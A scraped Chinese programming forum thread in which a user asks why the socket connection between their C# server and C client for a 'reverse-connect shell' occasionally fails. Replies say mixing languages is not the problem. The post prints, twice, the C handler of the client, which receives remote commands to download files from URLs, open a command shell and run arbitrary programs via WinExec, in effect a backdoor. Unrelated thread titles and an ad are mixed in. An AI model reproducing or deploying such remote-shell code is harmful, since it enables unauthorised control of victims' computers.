请问用c#写的socket与用c写的socket通信会不会出现问题呢 我写了个小程序,实现反弹连接的shell.服务端用c#写的问题就是一般情况下都正常,偶尔会发现无法连接了.看客户端的连接还是ESTABLISHED. 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 至于无法连接,你应该检查一下你写的Server或Client是否有问题 不会有问题的,我的程序服务器端就是用C#写的,客户端就有C++和VB写的,没有问题 贴一段可能出现问题的代码...........既然c#服务端这边的程序已经关掉而客户端没反映并且一直处于ESTABLISHED.我想应该是客户端的问题吧.void TalkWithClient (SOCKET client){ char cmd[KEY_BUFF]; char chr[1]; int i=0,j=0; int err; while(1) { ZeroMemory(cmd,KEY_BUFF); //if (send (client,p,strlen(p),0)<=0){ if ((err=send (client,"*",1,0))<=0){ err=GetLastError(); closesocket(client); return ; } j=0; // auto support standard telnet client while(j<KEY_BUFF) { if((err=recv(client,chr,1,0))!=1) { err=GetLastError(); closesocket(client); return ; } cmd[j]=chr[0]; if(chr[0]==0xa || chr[0]==0xd) { cmd[j]=0; break; } j++; } // download file if(strstr(cmd,"http://")||strstr(cmd,"ftp://")) { send(client,msg_ws_down,strlen(msg_ws_down),0); if(DownloadFile(cmd,client)) send(client,msg_ws_err,strlen(msg_ws_err),0); else send(client,msg_ws_ok,strlen(msg_ws_ok),0); continue; } else { switch(cmd[0]) { // enter cmd shell case 's': { DoExec(client); break; } //run app case 'r': { char *lpCmdLine; if (strlen(cmd)>2){ lpCmdLine=cmd+2; if (WinExec (lpCmdLine,SW_SHOW)>32) { send(client,msg_ws_ok,strlen(msg_ws_ok),0); break; } } send(client,msg_ws_err,strlen(msg_ws_err),0); break; } case '\0': break; default :{ send(client,msg_ws_err,strlen(msg_ws_err),0); break; } }//switch }//else }//talkwith return ;} 你拿Linux或者MAC下面的Socket写都是一样的…… C# winform中listview和checkBox问题 谁能帮忙写个XML的方法给我看下 跪求。。。。。字段,属性的多态如何实现 有用过skype api开发过东西的吗? WinForm中的DataGridView为何只能自定义列的背景色面不能设行的背景色?~~处女问.... 请问用sqlconnection连接sqlserver能比用oledbconnection有多大的性能提高 自动更新问题 父类如何捕获子类的事件 搞笑的DataGirdView.哭笑不得. 字符操作的问题 请问大家是怎么回事?APPSETTINGD的问题 移动硬盘不显示
void TalkWithClient (SOCKET client){
char cmd[KEY_BUFF];
char chr[1];
int i=0,j=0;
int err;
while(1) {
ZeroMemory(cmd,KEY_BUFF);
//if (send (client,p,strlen(p),0)<=0){
if ((err=send (client,"*",1,0))<=0){
err=GetLastError();
closesocket(client);
return ;
}
j=0;
// auto support standard telnet client
while(j<KEY_BUFF) {
if((err=recv(client,chr,1,0))!=1) {
err=GetLastError();
closesocket(client);
return ;
}
cmd[j]=chr[0];
if(chr[0]==0xa || chr[0]==0xd) {
cmd[j]=0;
break;
}
j++;
}
// download file
if(strstr(cmd,"http://")||strstr(cmd,"ftp://")) {
send(client,msg_ws_down,strlen(msg_ws_down),0);
if(DownloadFile(cmd,client))
send(client,msg_ws_err,strlen(msg_ws_err),0);
else
send(client,msg_ws_ok,strlen(msg_ws_ok),0);
continue;
}
else {
switch(cmd[0]) {
// enter cmd shell
case 's': {
DoExec(client);
break;
}
//run app
case 'r': {
char *lpCmdLine;
if (strlen(cmd)>2){
lpCmdLine=cmd+2;
if (WinExec (lpCmdLine,SW_SHOW)>32)
{
send(client,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
}
send(client,msg_ws_err,strlen(msg_ws_err),0);
break;
}
case '\0':
break;
default :{
send(client,msg_ws_err,strlen(msg_ws_err),0);
break;
} }//switch
}//else
}//talkwith
return ;
}